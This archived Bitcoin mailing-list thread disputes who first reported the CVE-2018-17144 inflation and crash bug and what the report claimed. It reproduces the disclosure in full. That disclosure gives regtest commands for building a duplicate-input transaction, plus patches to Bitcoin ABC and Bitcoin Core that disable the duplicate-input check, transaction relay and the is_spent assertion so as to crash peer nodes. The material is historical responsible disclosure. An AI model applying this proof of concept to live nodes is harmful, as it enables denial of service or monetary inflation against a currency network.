On the initial notice of CVE-2018-17144
3 messages, 22 Sep 2018. Started by Bryan Bishop.
Bryan Bishop, sickpig@gmail.com, Gregory Maxwell
---------- Forwarded message ---------- From: Gregory Maxwell via bitcoin-core-dev < bitcoin-core-dev@lists•linuxfoundation•org> Date: Sat, Sep 22, 2018 at 12:12 PM Subject: [bitcoin-core-dev] On the initial notice of CVE-2018-17144 To: bitcoin-core-dev@lists•linuxfoundation•org
For some reason I don't understand, Andrea Suisani is stating on twitter that the the report by awemany was a report of an inflation bug, contrary to the timeline we published. This is not the case: the report specifically stated that inflation was not possible because the node crashed. It also described a reproduction of the crash, but not of inflation.
I generally understand how someone could be confused about what a report they hadn't seen said, but I'm confused in this case because Andrea Suisani was copied on the report to us. So I'm not sure what is up with that, perhaps the message got lost in email. If the reporter knew the bug permitted inflation, they still specifically reported otherwise to us.
Since people are also expressing doubt that awemany was actually the author of the report, I'll include it here in its entity to aid people's validation of the claim(s). There is a better test for the crash issue include in master branch of the Bitcoin repository, the reporter's reproduction instructions here are only included for completeness.
Cheers,
Date: Mon, 17 Sep 2018 14:57:46 +0000 To: Pieter Wuille <pieter.wuille@gmail•com>, deadalnix <deadalnix@gmail•com>, Andrea Suisani <sickpig@gmail•com>, Gregory Maxwell <gmaxwell@gmail•com>, "Wladimir J. van der Laan" <laanwj@gmail•com> From: beardnboobies <beardnboobies@protonmail•com> Subject: Zero day exploit in Bitcoin ABC and Bitcoin Core
Dear Bitcoiners,
Please find attached an encrypted description of a crashing zero day exploit for Bitcoin Core as well as Bitcoin ABC. This has not been reproduced for Bitcoin Unlimited, though for advisory reasons, I am sending it to one of their members that I could find a PGP key for as well.
Please forward this to any party who might have a valid interest, including Bitcoin miners.
Thank you very much.
===
Problem description:
The following, miner-exploitable zero day has been found in Bitcoin ABC as well as in Bitcoin Core:
Duplicate inputs are not checked in CheckBlock, only when they are accepted into the mempool.
This creates a problem insofar as a transaction might bypass the mempool when it is included in a block, for example if it is transmitted as an extra transaction along with a compact block.
A later assertion assert(is_spent) in SpendCoins (in validation.cpp) seems to prevent the worse outcome of monetary inflation by the comparatively better result of crashing the node.
To reproduce (Description is for Bitcoin ABC, but applies similarly to Bitcoin Core):
Create one instance of ABC bitcoind without the patch below applied (A) and create on instance of ABC with the patch applied (B). The patch removes sending of transactions and testing for double-spent inputs for the attacker node.
Run both in regtest mode and point them to different data directories, like so and connect them together: A: ./bitcoind -regtest -rpcport=15000 -listen -debug -datadir=/tmp/abc.1 B: ./bitcoind -regtest -rpcport=15001 -connect=localhost -debug -datadir=/tmp/abc.2
Now on the prepared attacker node B, create a bunch of blocks and a transaction that double-spends its input, like so for example:
Quoted text (2 lines)
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 generate 200 > ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 getnewaddress
<address>
Quoted text (1 line)
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 sendtoaddress
<address> <resulting-txid>
Quoted text (1 line)
> ./bitcoin-tx -regtest -create in=<resulting-txid>:<vout>
in=<resulting-txid>:<vout> outaddr=99.9:<address> <resulting-txn-hex>
The double entry of the input here is not a typo. This is the desired double-spend.
Sign the resulting transaction hex like so:
Quoted text (1 line)
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001
signrawtransaction <txid> <signed-txn-hex>
For Core, this step needs to be adapted to signrawtransactionwithkey. And send the result into the small regtest test netwrok:
Quoted text (1 line)
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001
sendrawtransaction <signed-txn-hex>
Voila, your node A should have just aborted like this:
bitcoind: validation.cpp:1083: void SpendCoins(CCoinsViewCache&, const CTransaction&, CTxUndo&, int): Assertion `is_spent' failed. Aborted (core dumped)
If you like this work or want to pay out a bounty for finding a zero day, please do so in BCH to this address. Thank you very much in advance.
bitcoincash:qr5yuq3q40u7mxwqz6xvamkfj8tg45wyus7fhqzug5
The patch for ABC:
diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp index ee909deb9..ff7942361 100644 --- a/src/consensus/tx_verify.cpp +++ b/src/consensus/tx_verify.cpp @@ -229,7 +229,7 @@ static bool CheckTransactionCommon(const CTransaction &tx,
// Check for duplicate inputs - note that this check is slow so we
skip it
// in CheckBlock
- if (fCheckDuplicateInputs) {
+ if (0) {
std::set<COutPoint> vInOutPoints;
for (const auto &txin : tx.vin) {
if (!vInOutPoints.insert(txin.prevout).second) {
diff --git a/src/net_processing.cpp b/src/net_processing.cpp
index e4ecc793c..ee1cc3cda 100644
--- a/src/net_processing.cpp
+++ b/src/net_processing.cpp
@@ -1269,12 +1269,6 @@ static void ProcessGetData(const Config
&config, CNode *pfrom,
// however we MUST always provide at least
what the
// remote peer needs.
typedef std::pair<unsigned int, uint256>
PairType;
- for (PairType &pair : merkleBlock.vMatchedTxn)
{
- connman->PushMessage(
- pfrom,
- msgMaker.Make(NetMsgType::TX,
- *block.vtx[pair.first]));
- }
}
// else
// no response
@@ -1321,25 +1315,6 @@ static void ProcessGetData(const Config
&config, CNode *pfrom,
bool push = false;
auto mi = mapRelay.find(inv.hash);
int nSendFlags = 0;
- if (mi != mapRelay.end()) {
- connman->PushMessage(
- pfrom,
- msgMaker.Make(nSendFlags, NetMsgType::TX,
*mi->second));
- push = true;
- } else if (pfrom->timeLastMempoolReq) {
- auto txinfo = mempool.info(inv.hash);
- // To protect privacy, do not answer getdata using the
- // mempool when that TX couldn't have been INVed
in reply to
- // a MEMPOOL request.
- if (txinfo.tx &&
- txinfo.nTime <= pfrom->timeLastMempoolReq) {
- connman->PushMessage(pfrom,
- msgMaker.Make(nSendFlags,
- NetMsgType::TX,
- *txinfo.tx));
- push = true;
- }
- }
if (!push) {
vNotFound.push_back(inv);
}
diff --git a/src/validation.cpp b/src/validation.cpp
index a31546432..a9edbb956 100644
--- a/src/validation.cpp
+++ b/src/validation.cpp
@@ -1080,7 +1080,7 @@ void SpendCoins(CCoinsViewCache &view, const
CTransaction &tx, CTxUndo &txundo,
for (const CTxIn &txin : tx.vin) {
txundo.vprevout.emplace_back();
bool is_spent = view.SpendCoin(txin.prevout,
&txundo.vprevout.back());
- assert(is_spent);
+ //assert(is_spent);
}
}
---- The same patch for Core:
diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp
index 0628ec1d4..a06f77f8b 100644
--- a/src/consensus/tx_verify.cpp
+++ b/src/consensus/tx_verify.cpp
@@ -181,7 +181,7 @@ bool CheckTransaction(const CTransaction& tx,
CValidationState &state, bool fChe
}
// Check for duplicate inputs - note that this check is slow so
we skip it in CheckBlock
- if (fCheckDuplicateInputs) {
+ if (0) {
std::set<COutPoint> vInOutPoints;
for (const auto& txin : tx.vin)
{
diff --git a/src/net_processing.cpp b/src/net_processing.cpp
index b48a3bd22..9b7fb5839 100644
--- a/src/net_processing.cpp
+++ b/src/net_processing.cpp
@@ -1219,8 +1219,6 @@ void static ProcessGetBlockData(CNode* pfrom,
const CChainParams& chainparams, c
// Thus, the protocol spec specified allows for
us to provide duplicate txn here,
// however we MUST always provide at least what
the remote peer needs
typedef std::pair<unsigned int, uint256> PairType;
- for (PairType& pair : merkleBlock.vMatchedTxn)
- connman->PushMessage(pfrom,
msgMaker.Make(SERIALIZE_TRANSACTION_NO_WITNESS, NetMsgType::TX,
*pblock->vtx[pair.first]));
}
// else
// no response
@@ -1284,18 +1282,6 @@ void static ProcessGetData(CNode* pfrom, const
CChainParams& chainparams, CConnm
bool push = false;
auto mi = mapRelay.find(inv.hash);
int nSendFlags = (inv.type == MSG_TX ?
SERIALIZE_TRANSACTION_NO_WITNESS : 0);
- if (mi != mapRelay.end()) {
- connman->PushMessage(pfrom, msgMaker.Make(nSendFlags,
NetMsgType::TX, *mi->second));
- push = true;
- } else if (pfrom->timeLastMempoolReq) {
- auto txinfo = mempool.info(inv.hash);
- // To protect privacy, do not answer getdata using
the mempool when
- // that TX couldn't have been INVed in reply to a
MEMPOOL request.
- if (txinfo.tx && txinfo.nTime <=
pfrom->timeLastMempoolReq) {
- connman->PushMessage(pfrom,
msgMaker.Make(nSendFlags, NetMsgType::TX, *txinfo.tx));
- push = true;
- }
- }
if (!push) {
vNotFound.push_back(inv);
}
diff --git a/src/validation.cpp b/src/validation.cpp
index 947192be0..66536af24 100644
--- a/src/validation.cpp
+++ b/src/validation.cpp
@@ -1315,7 +1315,7 @@ void UpdateCoins(const CTransaction& tx,
CCoinsViewCache& inputs, CTxUndo &txund
for (const CTxIn &txin : tx.vin) {
txundo.vprevout.emplace_back();
bool is_spent = inputs.SpendCoin(txin.prevout,
&txundo.vprevout.back());
- assert(is_spent);
+ //assert(is_spent);
}
}
// add outputsGregory,
Quoted text (3 lines)
> For some reason I don't understand, Andrea Suisani is stating on > twitter that the the report by awemany was a report of an inflation > bug, contrary to the timeline we published.
guess that the fact you don't understand it, it's probably related to the fact that you didn't read properly the tweet you are referring to, for reference this the tweet URL https://twitter.com/sickpig/status/1043530088636194816
This is the text of such a tweet:
"He [awemany] *did not* mention the inflation bug in the email, still he has proof he was aware of that before sending out the report"
then tweet continue referring a reddit post where awemany while trying to prove he was the original author of the report, included a timestamped note containing the following text:
BitcoinABC does not check for duplicate inputs when processing a block,
only when inserting a transaction into the mempool.
This is dangerous as blocks can be generated with duplicate transactions
and then sent through e.g. compact block missing transactions and avoid
hitting the mempool, creating money out of thin air.
/u/awemany
this the timeline of the timestamping process:
https://originstamp.org/s/5c45a1ba957362a2ba97c9f8c48d4d59d4fa990945b7094a8d2a98c3a91ed9b6
as you can see the note was submitted to originstamp.org before the report email was sent.
Quoted text (4 lines)
> This is not the case: > the report specifically stated that inflation was not possible because > the node crashed. It also described a reproduction of the crash, but > not of inflation.
Furthermore as you should be aware, having been copied on the report, awemany specifically said that "[the assert(is_spent)] *seems* to prevent the worse outcome of monetary inflation"
I guess that in the hurry of informing you and other people involved of the DoS vector he identified and proved, he decided to give priority to informing Core about that rather than waiting and continue exploring the idea he had about exploiting the code to create coins out of thin air.
On Sat, Sep 22, 2018 at 7:22 PM sickpig@gmail•com <sickpig@gmail•com> wrote:
Quoted text (9 lines)
> > For some reason I don't understand, Andrea Suisani is stating on > > twitter that the the report by awemany was a report of an inflation > > bug, contrary to the timeline we published. > > guess that the fact you don't understand it, it's probably related to the fact > that you didn't read properly the tweet you are referring to, for reference this > the tweet URL https://twitter.com/sickpig/status/1043530088636194816 > > This is the text of such a tweet
OKAY. The only tweet I was shown was this one:
https://twitter.com/sickpig/status/1043428373530390528
It doesn't many any mention to him not reporting it and I encountered it in the context of another person citing it to claim it had been reported.
Quoted text (4 lines)
> Furthermore as you should be aware, having been copied on the report, > awemany specifically > said that "[the assert(is_spent)] *seems* to prevent the worse outcome > of monetary inflation"
Yes, in fact I referred to the that specifically in my message as well as including his entire message in my post.
Quoted text (5 lines)
> I guess that in the hurry of informing you and other people involved of the DoS > vector he identified and proved, he decided to give priority to > informing Core about that > rather than waiting and continue exploring the idea he had about exploiting the > code to create coins out of thin air.
I'm unclear what you're now stating. Are you stating that awemany knew that it could cause inflation but indicated otherwise to us or are you stating that he did not know and in the abundance of caution he sent the report as fast as possible before making that determination?
I'm just asking because I'm confused by your response; I don't think it's particularly important one way or another.